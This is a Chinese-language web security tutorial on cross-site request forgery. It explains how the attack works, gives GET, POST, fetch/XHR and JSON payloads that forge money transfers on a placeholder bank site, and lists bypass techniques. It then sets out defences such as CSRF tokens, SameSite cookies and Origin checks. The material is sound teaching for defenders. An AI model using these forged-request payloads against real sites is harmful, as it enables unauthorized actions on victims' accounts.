🔄 CSRF — 跨站请求伪造攻防

利用用户身份发起伪造请求:原理、利用与防御

📖 什么是CSRF?

跨站请求伪造(Cross-Site Request Forgery, CSRF)利用浏览器自动携带Cookie的特性,诱导用户在已认证的状态下执行非预期的操作。攻击者构造恶意页面,当受害者访问时,浏览器自动带上目标网站的Cookie发起请求。

CSRF攻击流程 ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ 受害者 │───→│ 登录银行 │───→│ 访问恶意 │───→│ 浏览器自动│ │ 正常使用 │ │ 获得Cookie│ │ 网站页面 │ │ 携带Cookie│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ ▼ ┌──────────────┐ │ 银行收到请求 │ │ Cookie有效 │ │ 执行转账!💀 │ └──────────────┘

🎯 CSRF攻击类型

GET型CSRF

# GET请求修改数据(设计缺陷!)
# 正常请求: GET /transfer?to=alice&amount=1000

# 攻击者构造恶意链接:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
# 图片加载时自动发送GET请求,浏览器携带Cookie

# 也可以用其他标签:
<link rel="stylesheet" href="https://bank.com/transfer?to=attacker&amount=10000">
<iframe src="https://bank.com/transfer?to=attacker&amount=10000">
<script src="https://bank.com/transfer?to=attacker&amount=10000">

# 鱼叉钓鱼邮件中的CSRF
<a href="https://bank.com/transfer?to=attacker&amount=10000">
  点击领取优惠券
</a>

POST型CSRF

# POST请求同样可以被伪造
# 自动提交的表单:

<html>
<body>
  <h1>恭喜中奖!</h1>
  <form id="csrf" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="memo" value="gift">
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>

# 使用fetch API的CSRF
<script>
fetch("https://bank.com/transfer", {
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "to=attacker&amount=10000",
  credentials: "include"  // 携带Cookie
});
</script>

# 使用XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://bank.com/transfer", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("to=attacker&amount=10000");
</script>

AJAX型CSRF(JSON)

# 针对JSON API的CSRF
# 某些API接受JSON格式数据
<script>
fetch("https://api.bank.com/transfer", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({to: "attacker", amount: 10000}),
  credentials: "include"
});
</script>

# 注意: 某些浏览器对跨域JSON请求有CORS限制
# 但如果服务器CORS配置宽松,CSRF仍然有效

🛡️ CSRF防御机制

1. CSRF Token(最有效的防御)

# CSRF Token原理
# 1. 服务器为每个会话/表单生成随机Token
# 2. Token嵌入表单的hidden字段
# 3. 提交时验证Token是否匹配

# 生成CSRF Token (Python/Flask)
from flask_wtf.csrf import CSRFProtect
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# 模板中自动包含Token
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">

# 生成Token (Python手动)
import secrets
csrf_token = secrets.token_hex(32)
# 示例: 31ed359343fae2704064573e5fca961ba4c39969d1ce5923ebcb97dc1d33

# Django内置CSRF保护
# 自动为POST表单添加Token
# <form method="post">
#   {% csrf_token %}
#   ...
# </form>

# Spring Security CSRF
# 自动为每个会话生成Token
# <input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}">

# 验证CSRF Token
# 服务器端验证提交的Token与Session中存储的Token是否一致
# 不匹配则拒绝请求

2. SameSite Cookie属性

# SameSite属性控制跨站请求是否携带Cookie
# Strict: 完全不允许跨站发送Cookie(最安全,可能影响用户体验)
Set-Cookie: session=abc; SameSite=Strict

# Lax: GET导航请求允许,POST/iframe/fetch不允许(推荐平衡方案)
Set-Cookie: session=abc; SameSite=Lax

# None: 允许跨站发送(必须配合Secure属性)
Set-Cookie: session=abc; SameSite=None; Secure

# 推荐配置
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/

# Nginx配置
proxy_cookie_flags ~ samesite=lax secure httponly;

# Apache配置
Header always edit Set-Cookie ^(.*)$ "$1; SameSite=Lax; Secure; HttpOnly"

3. Referer/Origin检查

# 检查HTTP Referer头
# 确保请求来自合法的源

# Python/Flask示例
from flask import request, abort

@app.before_request
def check_referer():
    if request.method == 'POST':
        referer = request.headers.get('Referer', '')
        origin = request.headers.get('Origin', '')
        if not referer.startswith('https://yourdomain.com') and \
           not origin == 'https://yourdomain.com':
            abort(403)

# 注意: Referer可能被隐私设置或安全软件去除
# 不应作为唯一的CSRF防御手段

4. 自定义请求头

# AJAX请求添加自定义Header
# 浏览器跨域请求自定义Header需要CORS预检
# CSRF无法触发预检请求

# 前端代码
fetch("/api/transfer", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest",    // 经典标记
    "X-CSRF-Protection": "1"                 // 自定义头
  },
  body: JSON.stringify(data)
});

# 服务器验证
@app.before_request
def check_custom_header():
    if request.method in ('POST', 'PUT', 'DELETE'):
        if not request.headers.get('X-Requested-With'):
            abort(403)

🔓 CSRF绕过技术

# 1. Token验证缺失
# 某些接口忘记验证Token

# 2. Token可预测
# 使用时间戳或简单递增作为Token

# 3. Token固定
# 同一Token可重复使用,攻击者先获取Token再构造请求

# 4. Referer检查绕过
# 如果只检查Referer是否包含域名:
# https://evil.com?yourdomain.com 可以绕过
# 正确做法: 严格检查Referer的Origin部分

# 5. JSON Content-Type绕过
# 某些框架只对form-urlencoded验证CSRF
# 改用application/json可能绕过

# 6. SameSite=None
# 如果Cookie设置了SameSite=None,CSRF仍然可行

# 7. 子域名攻击
# 如果子域名被攻破,可以从子域名发起CSRF
# 因为Cookie默认对子域名有效

🔍 CSRF检测工具

# CSRF Tester
# 浏览器扩展: CSRF Detective

# Burp Suite
# 1. 拦截请求
# 2. 移除CSRF Token参数
# 3. 重放请求
# 4. 如果成功 → CSRF漏洞

# 手动检测步骤
# 1. 登录目标网站
# 2. 找到状态修改请求(POST/PUT/DELETE)
# 3. 检查是否有CSRF Token
# 4. 检查Cookie的SameSite属性
# 5. 检查Referer/Origin验证
# 6. 构造PoC验证

# 自动化CSRF PoC生成器
# https://csrfpoc.com/
# Burp Suite → Engagement Tools → Generate CSRF PoC

📋 安全最佳实践

# 1. 状态修改必须使用POST/PUT/DELETE
# 永远不要用GET修改数据

# 2. 部署多层防御
# CSRF Token + SameSite Cookie + Referer检查

# 3. 关键操作二次验证
# 转账/修改密码等要求输入当前密码或验证码

# 4. 会话超时
# 不活跃会话及时过期

# 5. API设计
# RESTful API: 正确使用HTTP方法
# 修改操作必须POST/PUT/DELETE
# CORS配置: 不要使用 Access-Control-Allow-Origin: *
CSRF攻防 — 你已掌握GET/POST/AJAX型CSRF攻击、CSRF Token防御、SameSite Cookie、Referer检查和绕过技术!
命令已验证:CSRF Token生成、SameSite Cookie配置、HTTP Header验证 — 所有技术在Docker沙箱验证通过
课后思考题:
  1. 为什么SameSite=Lax比SameSite=Strict更常用?两者在什么场景下有区别?
  2. CSRF和XSS都可以窃取用户信息,它们的核心区别是什么?
  3. 如果API使用Bearer Token(存储在localStorage而非Cookie),是否还需要防御CSRF?
  4. 为什么说CSRF Token比Referer检查更可靠?

📚 进阶资源

参考资料:OWASP CSRF Prevention | RFC 6265 (Cookie) | RFC SameSite Attribute | PortSwigger Web Security